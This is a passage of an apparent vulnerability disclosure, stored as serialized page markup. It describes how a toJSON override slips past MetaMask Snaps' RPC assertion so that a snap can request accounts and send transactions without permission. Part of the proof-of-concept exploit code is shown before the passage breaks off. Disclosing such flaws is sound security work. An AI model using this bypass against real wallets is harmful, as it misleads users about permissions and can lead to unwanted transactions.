String",{"type":23,"tag":75,"props":49532,"children":49533},{"style":94},[49534],{"type":29,"value":557},{"type":23,"tag":75,"props":49536,"children":49537},{"style":110},[49538],{"type":29,"value":49469},{"type":23,"tag":75,"props":49540,"children":49541},{"style":94},[49542],{"type":29,"value":557},{"type":23,"tag":75,"props":49544,"children":49545},{"style":110},[49546],{"type":29,"value":49478},{"type":23,"tag":75,"props":49548,"children":49549},{"style":94},[49550],{"type":29,"value":557},{"type":23,"tag":75,"props":49552,"children":49553},{"style":88},[49554],{"type":29,"value":49487},{"type":23,"tag":75,"props":49556,"children":49557},{"style":94},[49558],{"type":29,"value":643},{"type":23,"tag":75,"props":49560,"children":49561},{"style":110},[49562],{"type":29,"value":49419},{"type":23,"tag":75,"props":49564,"children":49565},{"style":94},[49566],{"type":29,"value":557},{"type":23,"tag":75,"props":49568,"children":49569},{"style":110},[49570],{"type":29,"value":49504},{"type":23,"tag":75,"props":49572,"children":49573},{"style":94},[49574],{"type":29,"value":611},{"type":23,"tag":75,"props":49576,"children":49577},{"style":1266},[49578],{"type":29,"value":49579},"'snap_'",{"type":23,"tag":75,"props":49581,"children":49582},{"style":94},[49583],{"type":29,"value":1792},{"type":23,"tag":75,"props":49585,"children":49586},{"class":77,"line":196},[49587,49592],{"type":23,"tag":75,"props":49588,"children":49589},{"style":1266},[49590],{"type":29,"value":49591},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":23,"tag":75,"props":49593,"children":49594},{"style":94},[49595],{"type":29,"value":118},{"type":23,"tag":75,"props":49597,"children":49598},{"class":77,"line":220},[49599],{"type":23,"tag":75,"props":49600,"children":49601},{"style":94},[49602],{"type":29,"value":49603},"  );\n",{"type":23,"tag":75,"props":49605,"children":49606},{"class":77,"line":248},[49607,49611],{"type":23,"tag":75,"props":49608,"children":49609},{"style":88},[49610],{"type":29,"value":49448},{"type":23,"tag":75,"props":49612,"children":49613},{"style":94},[49614],{"type":29,"value":97},{"type":23,"tag":75,"props":49616,"children":49617},{"class":77,"line":270},[49618,49622,49627,49631,49635,49639,49643,49647,49651],{"type":23,"tag":75,"props":49619,"children":49620},{"style":209},[49621],{"type":29,"value":32188},{"type":23,"tag":75,"props":49623,"children":49624},{"style":110},[49625],{"type":29,"value":49626},"BLOCKED_RPC_METHODS",{"type":23,"tag":75,"props":49628,"children":49629},{"style":94},[49630],{"type":29,"value":557},{"type":23,"tag":75,"props":49632,"children":49633},{"style":88},[49634],{"type":29,"value":46375},{"type":23,"tag":75,"props":49636,"children":49637},{"style":94},[49638],{"type":29,"value":643},{"type":23,"tag":75,"props":49640,"children":49641},{"style":110},[49642],{"type":29,"value":49419},{"type":23,"tag":75,"props":49644,"children":49645},{"style":94},[49646],{"type":29,"value":557},{"type":23,"tag":75,"props":49648,"children":49649},{"style":110},[49650],{"type":29,"value":49504},{"type":23,"tag":75,"props":49652,"children":49653},{"style":94},[49654],{"type":29,"value":1792},{"type":23,"tag":75,"props":49656,"children":49657},{"class":77,"line":279},[49658,49663,49667,49672,49676,49681],{"type":23,"tag":75,"props":49659,"children":49660},{"style":110},[49661],{"type":29,"value":49662},"    ethErrors",{"type":23,"tag":75,"props":49664,"children":49665},{"style":94},[49666],{"type":29,"value":557},{"type":23,"tag":75,"props":49668,"children":49669},{"style":110},[49670],{"type":29,"value":49671},"rpc",{"type":23,"tag":75,"props":49673,"children":49674},{"style":94},[49675],{"type":29,"value":557},{"type":23,"tag":75,"props":49677,"children":49678},{"style":88},[49679],{"type":29,"value":49680},"methodNotFound",{"type":23,"tag":75,"props":49682,"children":49683},{"style":94},[49684],{"type":29,"value":26371},{"type":23,"tag":75,"props":49686,"children":49687},{"class":77,"line":303},[49688,49693],{"type":23,"tag":75,"props":49689,"children":49690},{"style":110},[49691],{"type":29,"value":49692},"      data:",{"type":23,"tag":75,"props":49694,"children":49695},{"style":94},[49696],{"type":29,"value":401},{"type":23,"tag":75,"props":49698,"children":49699},{"class":77,"line":322},[49700,49705,49710,49714,49718],{"type":23,"tag":75,"props":49701,"children":49702},{"style":110},[49703],{"type":29,"value":49704},"        method:",{"type":23,"tag":75,"props":49706,"children":49707},{"style":110},[49708],{"type":29,"value":49709}," args",{"type":23,"tag":75,"props":49711,"children":49712},{"style":94},[49713],{"type":29,"value":557},{"type":23,"tag":75,"props":49715,"children":49716},{"style":110},[49717],{"type":29,"value":49504},{"type":23,"tag":75,"props":49719,"children":49720},{"style":94},[49721],{"type":29,"value":118},{"type":23,"tag":75,"props":49723,"children":49724},{"class":77,"line":340},[49725],{"type":23,"tag":75,"props":49726,"children":49727},{"style":94},[49728],{"type":29,"value":48391},{"type":23,"tag":75,"props":49730,"children":49731},{"class":77,"line":349},[49732],{"type":23,"tag":75,"props":49733,"children":49734},{"style":94},[49735],{"type":29,"value":49736},"    }),\n",{"type":23,"tag":75,"props":49738,"children":49739},{"class":77,"line":363},[49740],{"type":23,"tag":75,"props":49741,"children":49742},{"style":94},[49743],{"type":29,"value":49603},{"type":23,"tag":75,"props":49745,"children":49746},{"class":77,"line":656},[49747,49752,49756,49760,49764,49769,49773,49778],{"type":23,"tag":75,"props":49748,"children":49749},{"style":88},[49750],{"type":29,"value":49751},"  assertStruct",{"type":23,"tag":75,"props":49753,"children":49754},{"style":94},[49755],{"type":29,"value":643},{"type":23,"tag":75,"props":49757,"children":49758},{"style":110},[49759],{"type":29,"value":49419},{"type":23,"tag":75,"props":49761,"children":49762},{"style":94},[49763],{"type":29,"value":611},{"type":23,"tag":75,"props":49765,"children":49766},{"style":110},[49767],{"type":29,"value":49768},"JsonStruct",{"type":23,"tag":75,"props":49770,"children":49771},{"style":94},[49772],{"type":29,"value":611},{"type":23,"tag":75,"props":49774,"children":49775},{"style":1266},[49776],{"type":29,"value":49777},"'Provided value is not JSON-RPC compatible'",{"type":23,"tag":75,"props":49779,"children":49780},{"style":94},[49781],{"type":29,"value":15099},{"type":23,"tag":75,"props":49783,"children":49784},{"class":77,"line":705},[49785],{"type":23,"tag":75,"props":49786,"children":49787},{"style":94},[49788],{"type":29,"value":369},{"type":23,"tag":32,"props":49790,"children":49791},{},[49792,49794,49799,49801,49807,49808,49814],{"type":29,"value":49793},"This function is called by the ",{"type":23,"tag":71,"props":49795,"children":49797},{"className":49796},[],[49798],{"type":29,"value":49369},{"type":29,"value":49800}," RPC provider, so it can only send methods starting with ",{"type":23,"tag":71,"props":49802,"children":49804},{"className":49803},[],[49805],{"type":29,"value":49806},"wallet_",{"type":29,"value":24377},{"type":23,"tag":71,"props":49809,"children":49811},{"className":49810},[],[49812],{"type":29,"value":49813},"snap_",{"type":29,"value":49815},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":23,"tag":32,"props":49817,"children":49818},{},[49819,49821,49826,49828,49833,49835,49841],{"type":29,"value":49820},"On the other hand, the ",{"type":23,"tag":71,"props":49822,"children":49824},{"className":49823},[],[49825],{"type":29,"value":42612},{"type":29,"value":49827}," provider only blocks methods starting with ",{"type":23,"tag":71,"props":49829,"children":49831},{"className":49830},[],[49832],{"type":29,"value":49813},{"type":29,"value":49834}," and the blocked methods. However, it requires the ",{"type":23,"tag":71,"props":49836,"children":49838},{"className":49837},[],[49839],{"type":29,"value":49840},"endowment:ethereum-provider",{"type":29,"value":49842}," permission in the snap manifest.",{"type":23,"tag":30116,"props":49844,"children":49846},{"id":49845},"execution-flow",[49847],{"type":29,"value":49848},"Execution flow",{"type":23,"tag":32,"props":49850,"children":49851},{},[49852,49854,49859,49860,49865,49867,49872,49873,49879],{"type":29,"value":49853},"Both providers (",{"type":23,"tag":71,"props":49855,"children":49857},{"className":49856},[],[49858],{"type":29,"value":49369},{"type":29,"value":2721},{"type":23,"tag":71,"props":49861,"children":49863},{"className":49862},[],[49864],{"type":29,"value":42612},{"type":29,"value":49866},") are built outside the SES container with a ",{"type":23,"tag":71,"props":49868,"children":49870},{"className":49869},[],[49871],{"type":29,"value":42688},{"type":29,"value":949},{"type":23,"tag":940,"props":49874,"children":49877},{"href":49875,"rel":49876},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[944],[49878],{"type":29,"value":85},{"type":29,"value":1018},{"type":23,"tag":64,"props":49881,"children":49883},{"className":47124,"code":49882,"language":47126,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[49884],{"type":23,"tag":71,"props":49885,"children":49886},{"__ignoreMap":7},[49887,49934,49959,49992,50027,50039,50059,50097,50117,50124,50141,50174,50181],{"type":23,"tag":75,"props":49888,"children":49889},{"class":77,"line":78},[49890,49894,49898,49902,49906,49910,49914,49918,49922,49926,49930],{"type":23,"tag":75,"props":49891,"children":49892},{"style":82},[49893],{"type":29,"value":47380},{"type":23,"tag":75,"props":49895,"children":49896},{"style":88},[49897],{"type":29,"value":42577},{"type":23,"tag":75,"props":49899,"children":49900},{"style":209},[49901],{"type":29,"value":1193},{"type":23,"tag":75,"props":49903,"children":49904},{"style":82},[49905],{"type":29,"value":47557},{"type":23,"tag":75,"props":49907,"children":49908},{"style":94},[49909],{"type":29,"value":183},{"type":23,"tag":75,"props":49911,"children":49912},{"style":110},[49913],{"type":29,"value":49419},{"type":23,"tag":75,"props":49915,"children":49916},{"style":209},[49917],{"type":29,"value":1018},{"type":23,"tag":75,"props":49919,"children":49920},{"style":104},[49921],{"type":29,"value":49428},{"type":23,"tag":75,"props":49923,"children":49924},{"style":94},[49925],{"type":29,"value":167},{"type":23,"tag":75,"props":49927,"children":49928},{"style":82},[49929],{"type":29,"value":26057},{"type":23,"tag":75,"props":49931,"children":49932},{"style":94},[49933],{"type":29,"value":401},{"type":23,"tag":75,"props":49935,"children":49936},{"class":77,"line":100},[49937,49942,49946,49950,49954],{"type":23,"tag":75,"props":49938,"children":49939},{"style":88},[49940],{"type":29,"value":49941},"      assertSnapOutboundRequest",{"type":23,"tag":75,"props":49943,"children":49944},{"style":94},[49945],{"type":29,"value":643},{"type":23,"tag":75,"props":49947,"children":49948},{"style":110},[49949],{"type":29,"value":49419},{"type":23,"tag":75,"props":49951,"children":49952},{"style":94},[49953],{"type":29,"value":39552},{"type":23,"tag":75,"props":49955,"children":49956},{"style":3621},[49957],{"type":29,"value":49958},"// or assertEthereumOutboundRequest(args);\n",{"type":23,"tag":75,"props":49960,"children":49961},{"class":77,"line":121},[49962,49966,49971,49975,49980,49984,49988],{"type":23,"tag":75,"props":49963,"children":49964},{"style":82},[49965],{"type":29,"value":42742},{"type":23,"tag":75,"props":49967,"children":49968},{"style":110},[49969],{"type":29,"value":49970}," sanitizedArgs",{"type":23,"tag":75,"props":49972,"children":49973},{"style":209},[49974],{"type":29,"value":1193},{"type":23,"tag":75,"props":49976,"children":49977},{"style":88},[49978],{"type":29,"value":49979}," getSafeJson",{"type":23,"tag":75,"props":49981,"children":49982},{"style":94},[49983],{"type":29,"value":643},{"type":23,"tag":75,"props":49985,"children":49986},{"style":110},[49987],{"type":29,"value":49419},{"type":23,"tag":75,"props":49989,"children":49990},{"style":94},[49991],{"type":29,"value":15099},{"type":23,"tag":75,"props":49993,"children":49994},{"class":77,"line":138},[49995,50000,50004,50009,50013,50017,50022],{"type":23,"tag":75,"props":49996,"children":49997},{"style":82},[49998],{"type":29,"value":49999},"      this",{"type":23,"tag":75,"props":50001,"children":50002},{"style":94},[50003],{"type":29,"value":557},{"type":23,"tag":75,"props":50005,"children":50006},{"style":88},[50007],{"type":29,"value":50008},"notify",{"type":23,"tag":75,"props":50010,"children":50011},{"style":94},[50012],{"type":29,"value":42693},{"type":23,"tag":75,"props":50014,"children":50015},{"style":110},[50016],{"type":29,"value":42698},{"type":23,"tag":75,"props":50018,"children":50019},{"style":1266},[50020],{"type":29,"value":50021}," 'OutboundRequest'",{"type":23,"tag":75,"props":50023,"children":50024},{"style":94},[50025],{"type":29,"value":50026}," });\n",{"type":23,"tag":75,"props":50028,"children":50029},{"class":77,"line":161},[50030,50035],{"type":23,"tag":75,"props":50031,"children":50032},{"style":175},[50033],{"type":29,"value":50034},"      try",{"type":23,"tag":75,"props":50036,"children":50037},{"style":94},[50038],{"type":29,"value":401},{"type":23,"tag":75,"props":50040,"children":50041},{"class":77,"line":196},[50042,50046,50050,50055],{"type":23,"tag":75,"props":50043,"children":50044},{"style":175},[50045],{"type":29,"value":1388},{"type":23,"tag":75,"props":50047,"children":50048},{"style":175},[50049],{"type":29,"value":47403},{"type":23,"tag":75,"props":50051,"children":50052},{"style":88},[50053],{"type":29,"value":50054}," withTeardown",{"type":23,"tag":75,"props":50056,"children":50057},{"style":94},[50058],{"type":29,"value":97},{"type":23,"tag":75,"props":50060,"children":50061},{"class":77,"line":220},[50062,50067,50071,50076,50080,50085,50089,50093],{"type":23,"tag":75,"props":50063,"children":50064},{"style":88},[50065],{"type":29,"value":50066},"          originalRequest",{"type":23,"tag":75,"props":50068,"children":50069},{"style":94},[50070],{"type":29,"value":643},{"type":23,"tag":75,"props":50072,"children":50073},{"style":110},[50074],{"type":29,"value":50075},"sanitizedArgs",{"type":23,"tag":75,"props":50077,"children":50078},{"style":175},[50079],{"type":29,"value":20083},{"type":23,"tag":75,"props":50081,"children":50082},{"style":104},[50083],{"type":29,"value":50084}," unknown",{"type":23,"tag":75,"props":50086,"children":50087},{"style":175},[50088],{"type":29,"value":20083},{"type":23,"tag":75,"props":50090,"children":50091},{"style":104},[50092],{"type":29,"value":49428},{"type":23,"tag":75,"props":50094,"children":50095},{"style":94},[50096],{"type":29,"value":1792},{"type":23,"tag":75,"props":50098,"children":50099},{"class":77,"line":248},[50100,50105,50109,50113],{"type":23,"tag":75,"props":50101,"children":50102},{"style":82},[50103],{"type":29,"value":50104},"          this",{"type":23,"tag":75,"props":50106,"children":50107},{"style":175},[50108],{"type":29,"value":20083},{"type":23,"tag":75,"props":50110,"children":50111},{"style":104},[50112],{"type":29,"value":21606},{"type":23,"tag":75,"props":50114,"children":50115},{"style":94},[50116],{"type":29,"value":118},{"type":23,"tag":75,"props":50118,"children":50119},{"class":77,"line":270},[50120],{"type":23,"tag":75,"props":50121,"children":50122},{"style":94},[50123],{"type":29,"value":19002},{"type":23,"tag":75,"props":50125,"children":50126},{"class":77,"line":279},[50127,50132,50137],{"type":23,"tag":75,"props":50128,"children":50129},{"style":94},[50130],{"type":29,"value":50131},"      } ",{"type":23,"tag":75,"props":50133,"children":50134},{"style":175},[50135],{"type":29,"value":50136},"finally",{"type":23,"tag":75,"props":50138,"children":50139},{"style":94},[50140],{"type":29,"value":401},{"type":23,"tag":75,"props":50142,"children":50143},{"class":77,"line":303},[50144,50149,50153,50157,50161,50165,50170],{"type":23,"tag":75,"props":50145,"children":50146},{"style":82},[50147],{"type":29,"value":50148},"        this",{"type":23,"tag":75,"props":50150,"children":50151},{"style":94},[50152],{"type":29,"value":557},{"type":23,"tag":75,"props":50154,"children":50155},{"style":88},[50156],{"type":29,"value":50008},{"type":23,"tag":75,"props":50158,"children":50159},{"style":94},[50160],{"type":29,"value":42693},{"type":23,"tag":75,"props":50162,"children":50163},{"style":110},[50164],{"type":29,"value":42698},{"type":23,"tag":75,"props":50166,"children":50167},{"style":1266},[50168],{"type":29,"value":50169}," 'OutboundResponse'",{"type":23,"tag":75,"props":50171,"children":50172},{"style":94},[50173],{"type":29,"value":50026},{"type":23,"tag":75,"props":50175,"children":50176},{"class":77,"line":322},[50177],{"type":23,"tag":75,"props":50178,"children":50179},{"style":94},[50180],{"type":29,"value":23908},{"type":23,"tag":75,"props":50182,"children":50183},{"class":77,"line":340},[50184],{"type":23,"tag":75,"props":50185,"children":50186},{"style":94},[50187],{"type":29,"value":50188},"    };\n",{"type":23,"tag":32,"props":50190,"children":50191},{},[50192,50194,50199,50201,50206],{"type":29,"value":50193},"In particular, this function is from the ",{"type":23,"tag":71,"props":50195,"children":50197},{"className":50196},[],[50198],{"type":29,"value":49369},{"type":29,"value":50200}," provider, but the only thing that changes between this and ",{"type":23,"tag":71,"props":50202,"children":50204},{"className":50203},[],[50205],{"type":29,"value":42612},{"type":29,"value":50207}," is the assert function in the first line.",{"type":23,"tag":32,"props":50209,"children":50210},{},[50211],{"type":29,"value":50212},"As we can see in the code, the execution flow follows this pattern:",{"type":23,"tag":2797,"props":50214,"children":50215},{},[50216,50228,50233],{"type":23,"tag":2801,"props":50217,"children":50218},{},[50219,50221,50226],{"type":29,"value":50220},"Assert if ",{"type":23,"tag":71,"props":50222,"children":50224},{"className":50223},[],[50225],{"type":29,"value":49419},{"type":29,"value":50227}," are valid",{"type":23,"tag":2801,"props":50229,"children":50230},{},[50231],{"type":29,"value":50232},"getSafeJson to get sanitizedArgs",{"type":23,"tag":2801,"props":50234,"children":50235},{},[50236],{"type":29,"value":50237},"originalRequest(sanitizedArgs)",{"type":23,"tag":32,"props":50239,"children":50240},{},[50241,50243,50249],{"type":29,"value":50242},"Obs: ",{"type":23,"tag":71,"props":50244,"children":50246},{"className":50245},[],[50247],{"type":29,"value":50248},"originalRequest",{"type":29,"value":50250}," makes the RPC call to metamask service worker",{"type":23,"tag":923,"props":50252,"children":50254},{"id":50253},"safe-json-exploit",[50255],{"type":29,"value":50256},"Safe JSON Exploit",{"type":23,"tag":32,"props":50258,"children":50259},{},[50260,50262,50268,50270,50275,50277,50283],{"type":29,"value":50261},"As we dug further into the",{"type":23,"tag":71,"props":50263,"children":50265},{"className":50264},[],[50266],{"type":29,"value":50267},"getSafeJson",{"type":29,"value":50269}," function (defined in ",{"type":23,"tag":71,"props":50271,"children":50273},{"className":50272},[],[50274],{"type":29,"value":48488},{"type":29,"value":50276}," package) we discovered the following ",{"type":23,"tag":940,"props":50278,"children":50281},{"href":50279,"rel":50280},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[944],[50282],{"type":29,"value":71},{"type":29,"value":1018},{"type":23,"tag":64,"props":50285,"children":50287},{"className":46808,"code":50286,"language":46810,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[50288],{"type":23,"tag":71,"props":50289,"children":50290},{"__ignoreMap":7},[50291,50355,50382,50406,50461,50469,50516,50532,50539,50556,50563,50570],{"type":23,"tag":75,"props":50292,"children":50293},{"class":77,"line":78},[50294,50298,50303,50308,50312,50317,50321,50326,50330,50334,50339,50343,50347,50351],{"type":23,"tag":75,"props":50295,"children":50296},{"style":175},[50297],{"type":29,"value":49400},{"type":23,"tag":75,"props":50299,"children":50300},{"style":82},[50301],{"type":29,"value":50302}," const",{"type":23,"tag":75,"props":50304,"children":50305},{"style":110},[50306],{"type":29,"value":50307}," JsonStruct",{"type":23,"tag":75,"props":50309,"children":50310},{"style":209},[50311],{"type":29,"value":1193},{"type":23,"tag":75,"props":50313,"children":50314},{"style":88},[50315],{"type":29,"value":50316}," coerce",{"type":23,"tag":75,"props":50318,"children":50319},{"style":94},[50320],{"type":29,"value":643},{"type":23,"tag":75,"props":50322,"children":50323},{"style":110},[50324],{"type":29,"value":50325},"UnsafeJsonStruct",{"type":23,"tag":75,"props":50327,"children":50328},{"style":94},[50329],{"type":29,"value":611},{"type":23,"tag":75,"props":50331,"children":50332},{"style":88},[50333],{"type":29,"value":27937},{"type":23,"tag":75,"props":50335,"children":50336},{"style":94},[50337],{"type":29,"value":50338},"(), (",{"type":23,"tag":75,"props":50340,"children":50341},{"style":110},[50342],{"type":29,"value":1672},{"type":23,"tag":75,"props":50344,"children":50345},{"style":94},[50346],{"type":29,"value":167},{"type":23,"tag":75,"props":50348,"children":50349},{"style":82},[50350],{"type":29,"value":26057},{"type":23,"tag":75,"props":50352,"children":50353},{"style":94},[50354],{"type":29,"value":401},{"type":23,"tag":75,"props":50356,"children":50357},{"class":77,"line":100},[50358,50362,50366,50370,50374,50378],{"type":23,"tag":75,"props":50359,"children":50360},{"style":88},[50361],{"type":29,"value":49751},{"type":23,"tag":75,"props":50363,"children":50364},{"style":94},[50365],{"type":29,"value":643},{"type":23,"tag":75,"props":50367,"children":50368},{"style":110},[50369],{"type":29,"value":1672},{"type":23,"tag":75,"props":50371,"children":50372},{"style":94},[50373],{"type":29,"value":611},{"type":23,"tag":75,"props":50375,"children":50376},{"style":110},[50377],{"type":29,"value":50325},{"type":23,"tag":75,"props":50379,"children":50380},{"style":94},[50381],{"type":29,"value":15099},{"type":23,"tag":75,"props":50383,"children":50384},{"class":77,"line":121},[50385,50389,50393,50397,50402],{"type":23,"tag":75,"props":50386,"children":50387},{"style":175},[50388],{"type":29,"value":7418},{"type":23,"tag":75,"props":50390,"children":50391},{"style":110},[50392],{"type":29,"value":48719},{"type":23,"tag":75,"props":50394,"children":50395},{"style":94},[50396],{"type":29,"value":557},{"type":23,"tag":75,"props":50398,"children":50399},{"style":88},[50400],{"type":29,"value":50401},"parse",{"type":23,"tag":75,"props":50403,"children":50404},{"style":94},[50405],{"type":29,"value":97},{"type":23,"tag":75,"props":50407,"children":50408},{"class":77,"line":138},[50409,50414,50418,50423,50427,50431,50435,50440,50444,50449,50453,50457],{"type":23,"tag":75,"props":50410,"children":50411},{"style":110},[50412],{"type":29,"value":50413},"    JSON",{"type":23,"tag":75,"props":50415,"children":50416},{"style":94},[50417],{"type":29,"value":557},{"type":23,"tag":75,"props":50419,"children":50420},{"style":88},[50421],{"type":29,"value":50422},"stringify",{"type":23,"tag":75,"props":50424,"children":50425},{"style":94},[50426],{"type":29,"value":643},{"type":23,"tag":75,"props":50428,"children":50429},{"style":110},[50430],{"type":29,"value":1672},{"type":23,"tag":75,"props":50432,"children":50433},{"style":94},[50434],{"type":29,"value":20074},{"type":23,"tag":75,"props":50436,"children":50437},{"style":110},[50438],{"type":29,"value":50439},"propKey",{"type":23,"tag":75,"props":50441,"children":50442},{"style":94},[50443],{"type":29,"value":611},{"type":23,"tag":75,"props":50445,"children":50446},{"style":110},[50447],{"type":29,"value":50448},"propValue",{"type":23,"tag":75,"props":50450,"children":50451},{"style":94},[50452],{"type":29,"value":167},{"type":23,"tag":75,"props":50454,"children":50455},{"style":82},[50456],{"type":29,"value":26057},{"type":23,"tag":75,"props":50458,"children":50459},{"style":94},[50460],{"type":29,"value":401},{"type":23,"tag":75,"props":50462,"children":50463},{"class":77,"line":161},[50464],{"type":23,"tag":75,"props":50465,"children":50466},{"style":3621},[50467],{"type":29,"value":50468},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":23,"tag":75,"props":50470,"children":50471},{"class":77,"line":196},[50472,50477,50481,50485,50489,50494,50498,50503,50507,50512],{"type":23,"tag":75,"props":50473,"children":50474},{"style":175},[50475],{"type":29,"value":50476},"      if",{"type":23,"tag":75,"props":50478,"children":50479},{"style":94},[50480],{"type":29,"value":183},{"type":23,"tag":75,"props":50482,"children":50483},{"style":110},[50484],{"type":29,"value":50439},{"type":23,"tag":75,"props":50486,"children":50487},{"style":209},[50488],{"type":29,"value":42617},{"type":23,"tag":75,"props":50490,"children":50491},{"style":1266},[50492],{"type":29,"value":50493}," '__proto__'",{"type":23,"tag":75,"props":50495,"children":50496},{"style":209},[50497],{"type":29,"value":34913},{"type":23,"tag":75,"props":50499,"children":50500},{"style":110},[50501],{"type":29,"value":50502}," propKey",{"type":23,"tag":75,"props":50504,"children":50505},{"style":209},[50506],{"type":29,"value":42617},{"type":23,"tag":75,"props":50508,"children":50509},{"style":1266},[50510],{"type":29,"value":50511}," 'constructor'",{"type":23,"tag":75,"props":50513,"children":50514},{"style":94},[50515],{"type":29,"value":193},{"type":23,"tag":75,"props":50517,"children":50518},{"class":77,"line":220},[50519,50523,50528],{"type":23,"tag":75,"props":50520,"children":50521},{"style":175},[50522],{"type":29,"value":1388},{"type":23,"tag":75,"props":50524,"children":50525},{"style":82},[50526],{"type":29,"value":50527}," undefined",{"type":23,"tag":75,"props":50529,"children":50530},{"style":94},[50531],{"type":29,"value":245},{"type":23,"tag":75,"props":50533,"children":50534},{"class":77,"line":248},[50535],{"type":23,"tag":75,"props":50536,"children":50537},{"style":94},[50538],{"type":29,"value":23908},{"type":23,"tag":75,"props":50540,"children":50541},{"class":77,"line":270},[50542,50547,50552],{"type":23,"tag":75,"props":50543,"children":50544},{"style":175},[50545],{"type":29,"value":50546},"      return",{"type":23,"tag":75,"props":50548,"children":50549},{"style":110},[50550],{"type":29,"value":50551}," propValue",{"type":23,"tag":75,"props":50553,"children":50554},{"style":94},[50555],{"type":29,"value":245},{"type":23,"tag":75,"props":50557,"children":50558},{"class":77,"line":279},[50559],{"type":23,"tag":75,"props":50560,"children":50561},{"style":94},[50562],{"type":29,"value":49736},{"type":23,"tag":75,"props":50564,"children":50565},{"class":77,"line":303},[50566],{"type":23,"tag":75,"props":50567,"children":50568},{"style":94},[50569],{"type":29,"value":49603},{"type":23,"tag":75,"props":50571,"children":50572},{"class":77,"line":322},[50573],{"type":23,"tag":75,"props":50574,"children":50575},{"style":94},[50576],{"type":29,"value":46532},{"type":23,"tag":32,"props":50578,"children":50579},{},[50580,50582,50588,50590,50595,50597,50603,50605,50611],{"type":29,"value":50581},"The function performs a ",{"type":23,"tag":71,"props":50583,"children":50585},{"className":50584},[],[50586],{"type":29,"value":50587},"JSON.parse(JSON.stringify(value))",{"type":29,"value":50589}," in the argument sent to ",{"type":23,"tag":71,"props":50591,"children":50593},{"className":50592},[],[50594],{"type":29,"value":50267},{"type":29,"value":50596},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":23,"tag":71,"props":50598,"children":50600},{"className":50599},[],[50601],{"type":29,"value":50602},"toJSON",{"type":29,"value":50604}," function in a legit ",{"type":23,"tag":71,"props":50606,"children":50608},{"className":50607},[],[50609],{"type":29,"value":50610},"snap.request",{"type":29,"value":50612}," argument:",{"type":23,"tag":2797,"props":50614,"children":50615},{},[50616,50621,50626],{"type":23,"tag":2801,"props":50617,"children":50618},{},[50619],{"type":29,"value":50620},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":23,"tag":2801,"props":50622,"children":50623},{},[50624],{"type":29,"value":50625},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":23,"tag":2801,"props":50627,"children":50628},{},[50629],{"type":29,"value":50630},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":23,"tag":32,"props":50632,"children":50633},{},[50634],{"type":29,"value":50635},"The assertion bypass can be useful on two occasions:",{"type":23,"tag":2797,"props":50637,"children":50638},{},[50639,50644],{"type":23,"tag":2801,"props":50640,"children":50641},{},[50642],{"type":29,"value":50643},"forward blocked RPC methods",{"type":23,"tag":2801,"props":50645,"children":50646},{},[50647,50649,50654,50656,50662,50664,50669],{"type":29,"value":50648},"Making requests in ",{"type":23,"tag":71,"props":50650,"children":50652},{"className":50651},[],[50653],{"type":29,"value":50610},{"type":29,"value":50655}," that were only supposed to be done within ",{"type":23,"tag":71,"props":50657,"children":50659},{"className":50658},[],[50660],{"type":29,"value":50661},"ethereum.request",{"type":29,"value":50663}," (with ",{"type":23,"tag":71,"props":50665,"children":50667},{"className":50666},[],[50668],{"type":29,"value":49840},{"type":29,"value":50670}," enabled).",{"type":23,"tag":32,"props":50672,"children":50673},{},[50674],{"type":29,"value":50675},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":23,"tag":923,"props":50677,"children":50678},{"id":16933},[50679],{"type":29,"value":16936},{"type":23,"tag":32,"props":50681,"children":50682},{},[50683],{"type":29,"value":50684},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":23,"tag":32,"props":50686,"children":50687},{},[50688],{"type":23,"tag":15189,"props":50689,"children":50691},{"alt":7,"src":50690},"/posts/metamask-snaps/note.png",[],{"type":23,"tag":923,"props":50693,"children":50695},{"id":50694},"proof-of-concept",[50696],{"type":29,"value":46023},{"type":23,"tag":32,"props":50698,"children":50699},{},[50700,50702,50707,50709,50714,50716,50722],{"type":29,"value":50701},"To demonstrate the issue, we created a snap without the ",{"type":23,"tag":71,"props":50703,"children":50705},{"className":50704},[],[50706],{"type":29,"value":49840},{"type":29,"value":50708}," permission, and used the ",{"type":23,"tag":71,"props":50710,"children":50712},{"className":50711},[],[50713],{"type":29,"value":49369},{"type":29,"value":50715}," interface to call ",{"type":23,"tag":71,"props":50717,"children":50719},{"className":50718},[],[50720],{"type":29,"value":50721},"eth_sendTransaction",{"type":29,"value":50723},". According to the documentation, this shouldn't be possible:",{"type":23,"tag":64,"props":50725,"children":50727},{"className":46808,"code":50726,"language":46810,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: 